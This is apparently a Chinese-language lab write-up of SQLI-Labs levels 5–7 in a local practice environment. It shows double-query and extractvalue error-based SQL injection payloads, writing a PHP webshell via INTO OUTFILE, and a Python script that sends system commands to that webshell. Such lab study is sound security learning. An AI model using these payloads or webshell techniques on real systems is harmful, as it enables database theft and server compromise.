Abstract使用工具Burp Suite抓包尝试解决BUU-Basic SQL的基础题SQLI-Labs 5~7学习几种注入方法。欢迎各位提出宝贵意见~很高兴能帮助到您Page One 基础注入5 GET注入 双查询型/报错型 字符注入此题特点为没有直接回显点存在后端sql语法报错提示因此无法回显后端数据库的信息故使用报错注入双查询注入本质报错注入。1 用Burp抓包推测出是单引号注入后端查询语句为3列。使用union联合查询发现无直接回显点。方法一 双查询注入双查询sql语句报错原理是键值重复如下1 and ( select 1 from ( select count(*), concat(0x7e, (查询语句), 0x7e, floor(rand(0)*2)) as x from information_schema.tables group by x ) as t )#2 查询当前数据库再查询所有数据库查到ctftraining数据库查询flag表、flag列最后得到flag值如图方法二 报错注入报错注入sql语句报错原理是XPATH函数有语法错误如下1 and extractvalue(1, concat(0x7e, (查询语句)))2 思路同方法一相同在最后输出flag时发现存在长度限制故用substr()分段输出如图6 GET注入 双查询型/报错型 字符注入本题与5题思路与方法相同唯一区别在于使用双引号注入。7 GET注入 文件写入型 字符注入本题旨在利用任何用户可对目标服务器文件系统根目录有读写权限故利用sql注入向目标服务器写入一个shell.php木马文件进行对服务器进一步破坏。由于BUU靶场服务器关闭了权限无法解出flag故用docker搭建靶场进行学习。1 搭建好靶场首先打开靶场用户权限在powershell运行如下docker exec b3bdcfe3b05f chmod 777 /var/www/html/Less-7结束学习也关闭相应权限在powershell运行如下docker exec b3bdcfe3b05f chmod 755 /var/www/html/Less-72 用Burp抓包本题特点是无直接外显点前端只有对错提示无具体内容。优先尝试或或 )逐步推测是))注入后端sql查询语句是3列。3 注入前不存在此文件注入后成功查看到123.txt的内容说明into outfile在该目录创建新文件但是不能覆盖已有文件由于是linux系统优先猜测根目录是var/www/html/注意前端有报错混淆如图4 利用注入创建webshell.php文件包含一句话木马对其访问使其运行如图5 创建远程访问python脚本如下import requests url http://localhost:8888/Less-7/webshell.php def run_code(code): data {cmd: code} try: res requests.post(urlurl, datadata) print(Text:, res.text) except Exception as e: print(Failed:, str(e)) if __name__ __main__: run_code(system(cd dir);) run_code(system(cat less7-proof.txt);)先后运行两个system命令拿到通关凭证如图